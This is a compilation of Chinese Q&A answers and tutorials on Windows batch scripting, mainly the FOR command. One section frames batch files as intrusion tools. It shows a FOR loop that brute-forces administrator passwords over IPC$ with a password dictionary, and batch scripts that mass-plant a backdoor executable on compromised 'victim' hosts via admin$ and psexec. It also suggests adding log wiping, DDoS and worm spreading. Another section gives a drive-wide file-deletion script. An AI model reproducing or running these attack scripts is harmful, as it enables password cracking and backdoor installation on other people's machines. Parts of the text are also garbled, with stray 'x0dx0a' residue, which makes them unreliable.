1.
echo off>你的目錄\1.db
這樣就輸出空信息在文件裡面把文件清空
2.
for %%i in (cdefghij) do 應該改成
for %%i in (c d e f g h i j) do (
md %%i:\autorun.inf\asd\
)
pause
3.
con是比較特殊的名字,windows不允許把名字改成con,不行你新建個文件夾重命名就不行的.
4.下面給你幾個for的用法.相信你應該能看得懂哦.....
@echo off
for /r %%i in (c:\*.jpg) do (
echo %%i
)
pause
@echo off
for /D %%i in (c:\windows\*) do (
echo %%i
)
pause
@echo off
for /f "tokens=*" %%i in ('help') do (
echo %%i
)
pause
@echo off
for /f "tokens=1" %%i in ('help') do (
echo %%i
)
pause
@echo off
for /f "tokens=1,2" %%i in ('help') do (
echo %%i %%j
)
pause
㈡ 批處理文件命令怎麼寫
很長啊,還有些資料,想要的話留個郵箱吧。。。x0dx0a一般批處理都是先建立一個文本文件然後輸入 批處理命令然後另存為.bat文件就好了的。。x0dx0ax0dx0a1.Echo 命令打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。語法echo [{on|off}] [message]Sample:echo off / echo hello world在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。x0dx0a2.@ 命令表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)x0dx0a3.Goto 命令指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。語法:goto label (label是參數,指定所要轉向的批處理程序中的行。) Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。x0dx0a4.Rem 命令注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。Rem MessageSample:@Rem Here is the description.x0dx0a5.Pause 命令運行 Pause 命令時,將顯示下面的消息: Press any key to continue . . . Sample:@echo off :begin a:*.* d:\backecho Please put a new disk into driver A pause goto begin 在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。x0dx0a6.Call 命令從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。語法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]參數[Drive:}[Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。x0dx0a7.start 命令調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。入侵常用參數:MIN 開始時窗口最小化SEPARATE 在分開的空間內開始 16 位 Windows 程序HIGH 在 HIGH 優先順序類別開始應用程序REALTIME 在 REALTIME 優先順序類別開始應用程序WAIT 啟動應用程序並等候它結束parameters 這些為傳送到命令/程序的參數執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。8.choice 命令choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234??x0dx0a如: choice /c:dme defrag,mem,end將顯示defrag,mem,end[D,M,E]?Sample:Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)if errorlevel 2 goto mem if errotlevel 1 goto end x0dx0a:defrag c:\dos\defrag goto end :mem mem goto end :end echo good byex0dx0a此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。x0dx0a9.If 命令x0dx0aif 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式: 1、if "參數" == "字元串" 待執行的命令 參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto noparmsx0dx0a2、if exist 文件名 待執行的命令 如果有指定的文件,則條件成立,運行命令,否則運行下一句。如if exist config.sys edit config.sys x0dx0a3、if errorlevel / if not errorlevel 數字 待執行的命令 如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。x0dx0a10.for 命令for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。在批處理文件中使用 FOR 命令時,指定變數請使用 %%variablex0dx0afor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一個單一字母可替換的參數。(set) 指定一個或一組文件。可以使用通配符。command 指定對每個文件執行的命令。command-parameters 為特定命令指定參數或命令行開關。在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %Ix0dx0a如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:x0dx0aFOR /D %variable IN (set) DO command [command-parameters]x0dx0a如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。x0dx0aFOR /R [[drive:]path] %variable IN (set) DO command [command-x0dx0a檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。x0dx0aFOR /L %variable IN (start,step,end) DO command [command-parax0dx0a該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生序列 (5 4 3 2 1)。x0dx0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command x0dx0a或者,如果有 usebackq 選項:x0dx0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command x0dx0afilenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀取並經過處理。處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字元串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 "options"參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字為:x0dx0aeol=c - 指一個行注釋字元的結尾(就一個)skip=n - 指在文件開始時忽略的行數。delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的格式為一個范圍。通過 nth 符號指定 m符號字元串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之分配並接受行的保留文本。usebackq - 指定新語法已在下類情況中使用:在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。x0dx0asample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do commandx0dx0a會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字元串的。x0dx0a%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;同時不能有 52 個以上都在使用中。x0dx0a您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。這樣,該字元串會被當作一個文件中的一個單一輸入行。x0dx0a最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:x0dx0aFOR /F "usebackq delims==" %i IN (`set`) DO @echo %ix0dx0a會枚舉當前環境中的環境變數名稱。x0dx0a另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:x0dx0a~I - 刪除任何引號("),擴充 %I%~fI - 將 %I 擴充到一個完全合格的路徑名%~dI - 僅將 %I 擴充到一個驅動器號%~pI - 僅將 %I 擴充到一個路徑%~nI - 僅將 %I 擴充到一個文件名%~xI - 僅將 %I 擴充到一個文件擴展名%~sI - 擴充的路徑只含有短名%~aI - 將 %I 擴充到文件的文件屬性%~tI - 將 %I 擴充到文件的日期/時間%~zI - 將 %I 擴充到文件的大小%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字元串x0dx0a可以組合修飾符來得到多重結果:x0dx0a%~dpI - 僅將 %I 擴充到一個驅動器號和路徑%~nxI - 僅將 %I 擴充到一個文件名和擴展名%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。%~ftzaI - 將 %I 擴充到類似輸出線路的 DIRx0dx0a在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。x0dx0a以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。x0dx0asample2:x0dx0a利用For命令來實現對一台目標Win2k主機的暴力密碼破解。我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。x0dx0asample3:x0dx0a你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。x0dx0a主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。代碼雛形:x0dx0a--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------x0dx0a------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ????OK@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
㈢ BAT批處理文件for循環的基本格式方法
你還在為不知道BAT批處理文件for循環的基本格式方法而煩惱么?接下來是我為大家收集的BAT批處理文件for循環的基本格式方法教程,希望能幫到大家。
BAT批處理文件for循環的基本格式方法
一,基本格式
對一組文件中的每一個文件執行某個特定命令。
FOR %variable IN (set) DO command [command-parameters]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters
為特定命令指定參數或命令行開關。
在批處理程序中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I.
參數:for有4個參數 /d /l /r /f 他們的作用在下面的例子中講解
二,參數/d
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。
例如:
@echo off
for /d %%i in (c:*) do echo %%i
pause
運行後, 會把c盤根目錄下的全部目錄列印出來, 不會列印文件
例子:
@echo off
for /d %%i in (???) do echo %%i
pause
會把當前目錄下有目錄名字只有1-3個字母的,就會顯示出來,沒有就不顯示了
* 號表示任意N個字元,而?只表示任意一個字元
三,參數/r
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的 FOR 語句。
如果在 /R 後沒有指定目錄規范,則使用當前目錄。如果集僅為一個單點(.)字元,
則枚舉該目錄樹。
/r 可以把當前或者你指定路徑下的文件名全部讀取,注意是文件名字,
注意2點:
1.set中的文件名如果含有通配符(?或*),則列舉/r參數指定的目錄及其下面的所有子目錄中和set相符合的所有文件,無相符文件的目錄則不列舉
2.相反,如果set中為具體文件名,不含通配符,則列舉該目錄樹,而不管set中的指定文件是否存在
例子:
@echo off
for /r d: %%i in (*.exe) do echo %%i
pause
將把d盤里以exe結尾的文件全部列出來
@echo off
for /r d: %%i in (boot.ini) do echo %%i
pause
列舉d盤中存在boot.ini文件的目錄
四。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5)將產生序列
1 2 3 4 5,(5,-1,1)將產生序列(5 4 3 2 1)
start 為起始值,stup為增量,end結束值,
例子:
@echo off
for /l %%i in (1,1,5) do echo %%i
pause
將會列出12345 這幾個值
@echo off
for /l %%i in (1,1,5) do start cmd
pause
會打開5個cmd的窗口
五,參數/F
迭代及文件解析
使用文件解析來處理命令輸出,字元串及文件內容,使用迭代變數定義要檢查的內容或字元串,並使用各種option選項來進一步
修改解析方式,使用options令牌選項指定那些令牌應該作為迭代變數傳遞
注意:在沒有使用令牌選項時,/f將只檢查第一個令牌
文件解析過程包括讀取輸出,字元串或文件內容,將其分成獨立的文本行以及在將每行解析成零個或更多個令牌
讓後通過設置為令牌的迭代變數值,調用for循環,默認情況下,/f傳遞每個文件每一行的第一個空白分隔符,跳過空行
命令格式:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
帶引號的字元串“options”包括一個或多個
指定不同解析選項的關鍵字,這些關鍵字為:
eol=c 指定一個注釋字元的結尾(就一個)
skip=n 指在文件開始時忽略的行數
delims=xxx 指定分隔符集,這個替換了空格和跳格鍵的默認分隔符集
tokens=x,y,m-n 指每行的哪一個符合被傳遞到每個迭代的for本身,這回倒是額外名稱的分配,m-n格式為一個范圍
通過nth符號指定mth,如果符號字元串中的最好一個字元星號,那麼額外的變數將在最好一個符號解析之後分配並接受行的保留文本,
經過測試,該參數最多隻能區分31個欄位
usebackq 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且一個單
引號字元為文字字元串命令並允許在 file-set
中使用雙引號擴起文件名稱。
例子:
@echo off
rem 首先建立臨時文件,用完刪除>test.txt
echo ;注釋行,這個是臨時文件,用完刪除>text.txt
echo 11 12 13 14 15 16 >> test.txt
echo 21,22,23,24,25,26 >> test.txt
echo 31-32-33-34-35-36 >> test.txt
for /F "eol=; tokens=1,3* delims=,- " %%i in (test.txt) do echo %%i %%j %%k
pause
del text.txt
運行......
解釋:
eol=; 分號開頭的行章節附註釋行
tokens=1,3- 將每行第1段,第3段和剩餘地段分別賦予變數%%i,%%j,%%k
delims=,- (減號後有一空格)以逗號減號和空格為分隔符,空格必須放在最後
例子:
@echo off
for /f "skip=4 delims=" %%i in ('net user') do echo %%i
pause
這樣你本機全部賬號名字就出來了把括弧內的內容用兩個單引號起來就表示那個當命令執行,for會返回命令的沒行結果,加那個"delims=" 是為了讓空格的行能正行顯示出來,不加就默認只顯示空格左邊一列,應為默認的分隔符為空格或叫跳格鍵。
看了“BAT批處理文件for循環的基本格式方法”還想看:
1. 批處理文件
2. bat命令怎麼批處理
3. bat批處理命令
4. 常用的文件格式集錦
5. bat批處理文件顯示亂碼怎麼辦
㈣ Windows批處理-for命令詳解
摘自Windows XP的幫助文檔。
For對一組文件中的每個文件運行指定的命令。
語法
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
參數
{%variable|%%variable}
必需。代表可替換的參數。使用 %variable 通過命令提示符執行 for 命令。使用 %%variable 在批處理文件中執行 for 命令。變數要區分大小寫,並且必須用 Alpha 值表示,例如,%A、%B 或 %C。
(set)
必需。指定要用指定命令處理的一個或多個文件、目錄、數值范圍以及文本字元串。需要括弧。
command
必需。指定要對包括在指定 (set) 中的每個文件、目錄、數值范圍以及文本字元串所執行的命令。
CommandLineOptions
指定要通過指定命令使用的任何命令行選項。
/?
在命令提示符顯示幫助。
注釋
使用 for
可以在批處理文件中或直接從命令提示符使用 for 命令。
使用批處理參數
下列屬性適用於 for 命令:
for 命令使用指定 set 中的每個文本字元串替換 %variable 或 %%variable,直到 command 處理所有文件為止。
記住,for variable名是區分大小寫、全局的,並且每次總共不超過 52 個是活動的。
要避免批處理參數從 %0 到 %9 混淆,對 variable 可以使用除數字 0 到 9 之外的任何字元。對於簡單的批處理文件,單個字元即可奏效,例如 %%f。
在復雜的批處理文件中可以使用 variable 的多個值來區分不同的可替換變數。
顯示一組文件
set 參數可以代表單個或多個文件組。可以使用通配符(即,* 和 ?)指定文件組。以下為有效文件組:
(*.doc)
(*.doc *.txt *.me)
(jan*.doc jan*.rpt feb*.doc feb*.rpt)
(ar??1991.* ap??1991.*)
在使用 for 命令時,set 中的第一個值代替 %variable 或 %%variable,然後由指定的命令處理該值。這一直會繼續下去,直到處理完與 set 值相對應的所有文件(或文件組)為止。
使用 in 和 do 關鍵字
In 和 do 不是參數,但必須將它們與 for 一起使用。如果省略其中任何一個關鍵字,就會出現錯誤消息。
使用 for 的其它形式
如果命令擴展名處於啟用狀態(即,默認設置),則支持 for 的下列其它形式:
僅為目錄
如果 set 包含通配符(* 和 ?),則為匹配 set 的每個目錄(而不是指定目錄中的文件組)而執行指定的 command。語法是:
for /D {%% | %}variable in (set) do command [CommandLineOptions]
遞歸
進入根目錄樹 [Drive:]Path,在樹的每個目錄中執行 for 語句。如果在 /R 後沒有指定目錄,則假定為當前目錄。如果 set 只是一個句號 (.),則只列舉目錄樹。語法是:
for /R [[Drive :]Path] {%% | %}variable in (set) do command [CommandLineOptions]
重復數值范圍
使用迭代變數設置起始值 (start#) ,然後一步步執行一系列設置范圍的值,直到該值超過設置的終止值 (end#)。/L 將通過對 start# 與 end# 進行比較,執行迭代變數。如果 start# 小於 end#,就會執行該命令。如果迭代變數超過 end#,則命令解釋程序退出此循環。也可以使用負 step# 以遞減數值的方式一步步執行此范圍內的值。例如,(1,1,5) 生成順序 1 2 3 4 5,而 (5,-1,1) 則生成順序 (5 4 3 2 1)。語法是:
for /L {%% | %}variable in (start#,step#,end#) do command [CommandLineOptions]
重復和文件解析
使用文件解析過程處理命令輸出、字元串和文件內容。使用迭代變數定義要檢查的內容或字元串,以及使用各種 ParsingKeywords 選項進一步修改解析方式。使用 ParsingKeywords 令牌選項指定哪些令牌應該傳遞為迭代程序變數。注意:在沒有使用令牌選項時,/F 將僅檢查第一個令牌。
文件解析過程包括讀取輸出、字元串或文件內容、分成獨立的文本行及然後將每行解析成零個或更多個令牌。然後通過設置為令牌的迭代程序變數值,調用 for 循環。默認情況下,/F 傳遞每個文件每一行的第一個空白分隔符號。跳過空行。語法的不同點為:
for /F ["ParsingKeywords"] {%% | %}variable in (filenameset) do command [CommandLineOptions]
for /F ["ParsingKeywords"] {%% | %}variable in ("LiteralString") do command [CommandLineOptions]
for /F ["ParsingKeywords"] {%% | %}variable in ('command') do command [CommandLineOptions]
filenameset 參數指定一個或多個文件名稱。在繼續到 filenameset 中的下一個文件之前,每個文件都會被打開、讀取和處理。要覆蓋默認解析行為,指定 "ParsingKeywords"。這是一個引用字元串,它包含一個或多個關鍵字以指定不同的解析選項。
如果使用 usebackq 選項,請使用如下語法之一:
for /F ["usebackqParsingKeywords"] {%% | %}variable in ("filenameset") do command [CommandLineOptions]
for /F ["usebackqParsingKeywords"] {%% | %}variable in ('LiteralString') do command [CommandLineOptions]
for /F ["usebackqParsingKeywords"] {%% | %}variable in (`command`) do command [CommandLineOptions]
下表列出可以用於 ParsingKeywords 的解析關鍵字。
關鍵字 說明
eol=c 指定行尾字元(只一個字元)。
skip=n 指定在文件的開頭跳過的行數。
delims=xxx 指定定界符集合。這將替換空格和製表符的默認分隔符集。
tokens=x,y,m-n 指定將哪些令牌從每行傳遞到每個迭代的 for 正文。結果就分配了附加變數名稱。m-n 格式是一個范圍,指定從 mth 到 nth 的令牌。如果 tokens=字元串中最後一個字元是星號 (*),則將分配附加的變數,並在解析的最後一個令牌後在行上接收剩餘的文本。
usebackq 指定可以使用引號引用 filenameset 中的文件名稱,將後面帶有引號的字元串作為一個命令執行,而帶有單引號的字元串是文字字元串命令。
變數替換
已經增強了 for 變數引用的替換修改程序。下表列出可選語法(對於任意變數 I)。
帶有修改程序的變數 說明
%~I 展開刪除任何前後引號 ("") 的 %I。
%~fI 將 %I 展開到完全合格的路徑名。
%~dI 只將 %I 展開到驅動器號。
%~pI 只將 %I 展開到路徑。
%~nI 只將 %I 展開到文件名 。
%~xI 只將 %I 展開到文件擴展名。
%~sI 展開路徑以只包含短名稱。
%~aI 將 %I 展開到文件的文件屬性。
%~tI 將 %I 展開到文件的日期和時間。
%~zI 將 %I 展開到文件大小。
%~$PATH:I 搜索 PATH 環境變數所列出的目錄,並將 %I 展開到第一個找到的完全合格的名稱。如果沒有定義環境變數名稱,或搜索沒有找到文件,則此修改程序擴展成空字元串。
下表列出可用來獲得綜合結果的修改程序組合。
變數(使用組合的修改程序) 說明
%~dpI 只將 %I 展開到驅動器號和路徑。
%~nxI 只將 %I 展開到文件名和擴展名。
%~fsI 將 %I 展開到只包含短名稱的完整路徑名。
%~dp$PATH:I 在 PATH 環境變數中所列出的目錄中搜索 %I,並展開到第一個找到結果的驅動器號和路徑。
%~ftzaI 將 %I 展開到輸出行(如 dir一樣)。
在上述範例中,可以用其它有效值替換 %I 和 PATH。有效的 for 變數名終止 %~ syntax。
使用大寫變數名(例如 %I),可以使代碼更具可讀性,並且避免與不區分大小寫的修改程序混淆。
解析字元串
通過將 Filenameset 包括在圓括弧內,並且外面再帶上單引號(即,'filenameset'),可以使用 for /F 對直接字元串解析邏輯。將 Filenameset 視為從某個文件輸入的單行,然後接受解析。
解析輸出
通過將圓括弧之間的 filenameset 變為後面帶有引號的字元串,可以利用 for /F 命令解析命令輸出。將它作為命令行,此命令被傳遞給子 Cmd.exe,並將輸出捕獲到內存並進行解析,就象它是一個文件一樣。
範例
要在批處理文件中使用 for,請使用以下語法:
for %%variable in (set) do command [CommandLineOptions]
要通過使用可替換變數 %f 顯示當前目錄中擴展名為 .doc 或 .txt 的所有文件的內容,請鍵入:
for %f in (*.doc *.txt) do type %f
在前述範例中,當前目錄中擴展名為 .doc 或 .txt 的每個文件都被替代為變數 %f ,直到每個文件的內容都顯示為止。要在批處理文件中使用該命令,只需使用 %%f 替換 %f 的每個事件。否則忽略此變數,並顯示一條錯誤消息。
要解析文件,同時忽略注釋行,請鍵入:
for /F "eol=; tokens=2,3* delims=," %i in (myfile.txt) do @echo %i %j %k
這個命令解析 myfile.txt 文件的每一行,忽略以分號開頭的行,將第二和第三個令牌從各行傳遞到 FOR 正文(令牌通過逗號或空格分隔)中。FOR 語句的正文引用 %i 以獲得第二個令牌,引用 %j 以獲得第三個令牌,引用 %k 以獲得其餘全部令牌。如果您提供的文件名包含空格,請使用引號將文本引起來(例如,"File Name")。要使用引號,必須使用 usebackq。否則,就將引號解釋為定義要解析的文字字元串。
要通過將 filenameset 放在括弧之間來解析命令輸出,請鍵入:
for /F "usebackq delims==" %i IN (`set`) DO @echo %i
這個範例列舉當前環境中的環境變數名。
㈤ 批處理 for的詳細用法 for /l /f /d /r 不要ctrl V 的
/l /d /r 簡單 隨便找個教程就應該看明白
for /f 參數詳解
for命令 在dos命令中,不算最復雜的也應該算是相當復雜的了,
而for的參數中又以 /f 參數最為復雜,難懂和常用.
在剛學時確實費了我不少腦筋,下面就我個人的理解,給新手們通俗的講講,也好讓新手少走些彎路.
::例一:
:
for /f "skip=1 tokens=1,2* delims= " %%a in (a.txt) do echo %%a %%b %%c
pause先從引號內的東西講起,很多新手對這些難以理解,因為 for /? 翻譯的簡直是一塌糊塗.
skip=
tokens=
delims=
這三項是用的最多的,根據需要.可以不用,可以一起使用,也可以只使用一個或兩個.
但是不管使用幾個都要用引號將它們擴起來.當然不使用時,自然就不需要引號了.
skip=
for循環文本內容是以行為單位,從上至下進行的,skip=1意識就是跳過文本的第一行,即不循環第一行
那麼skip=2 自然就是跳過前兩行了,依次類推.........
delims=
先講這句
delims=後面的字元的意識是,將文本每一行的內容以delims=後面的字元分割成若干列.
假設a.txt某一行的內容是 111,222.333 444/555
我們用下面的語句
::例二:
:
for /f "tokens=1-5 delims=,./ " %%a in (a.txt) do echo %%a %%b %%c %%d %%e
pause顯示結果是 111 222 333 444 555
解釋:
意識就是把111,222.333 444/555以,./和空格(不分先後)分成了5列.注意代碼中/和"後面有個空格,
使用中要注意空格要放到最後,如"delims=,. /" 這樣就不行了.
那如果我們不使用逗號來分割會如何呢?如: "delims=./ "那麼就會分割成111,222 333 444 555
看出區別了嗎?delims=後面可以是多個字元,可以是空格,也可以什麼都沒有.
什麼都沒有代表什麼呢?就是不以任何東西為分割符,也是整行的內容了.
因為for默認是以,;和空格作分割符的,
所以一般要取得整行內容通常會用"delims="這樣的形式來取消for的默認分割符.
tokens=
tokens=1-5
1-5很好理解就1至5,前面我們用delims=後面的字元為分割符,將文本內容分成了多列,那麼你需要的是哪些列呢?
用tokens=可以很好幫你提取到.
還是以例二為例:
通過dilims=,./ 將文本分成了111 222 333 444 555 五列.
注意代碼中前面有個%%a 這里的%%a就是代表第一列,第二列就是%%b,第三列就是%%c 依此類推.....
那麼我們如果把echo %%a %%b %%c %%d %%e 改為 echo %%e %%d %%c %%b %%a 會如何呢?
當然.會顯示 555 444 333 222 111
如果是:echo %%b %%d 又會顯示什麼呢? 不用我說了吧!
若是第一個%%a把它改為%%i也是一樣,那麼第二列就是%%j...%%k...依此類推....
明白了?就是按英文字母的順序依此類推的.
這里我們用的是tokens=1-5但是在例一中,我們用的是tokens=1,2* 有什麼區別呢?
其實差不多-號代表從幾至幾而逗號代表單一的,如 tokens=1,5就是代表第一列和第五列,而不是1至5列.
*號代表剩下的所有的列.如:tokens=1,2*代表%%a為第一列,%%b為第二列,%%c代表後面所有的列.
for /f 不但可以循環文本內容還可以循環字元竄,如:
::例三:
:
for /f "tokens=1-3 delims=,./ " %%a in ("111,222.333 444/555") do echo %%a %%b %%c
pause只要將()里的字元串用引號擴起來,for就會把它當字元串來循環,而不是文本.
"delims=" 的含義是取消默認的分隔符,所以會把行上的內容照搬下來,而 "tokens=*" 表示獲取行上的所有內容
㈥ 批處理中怎麼for命令 跳過指定文件或目錄
以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI
@echo off
rem 全盤查找並刪除指定擴展名/後綴名的文件,但排除/跳過/忽略指定名稱的文件
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
for %%a in (Z Y X W V U T S R Q P O N M L K J I H G F E D C) do (
if exist %%a: (
echo;%%a: Searching……
if /i "%%a:" equ "%SystemDrive%" (
if exist "%HOMEPATH%" (pushd "%HOMEPATH%") else (pushd %%a:)
) else (pushd %%a:)
for /f "delims=" %%a in ('dir /a-d/b/s *.mp3 *.wav') do (
set "f="
for %%b in ("test.mp3") do (
if /i "%%~b" equ "%%~nxa" set f=1
)
if not defined f (
echo;"%%a"
del /a /f /q "%%a"
)
)
popd
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
㈦ 批處理中for的用法和參數作用
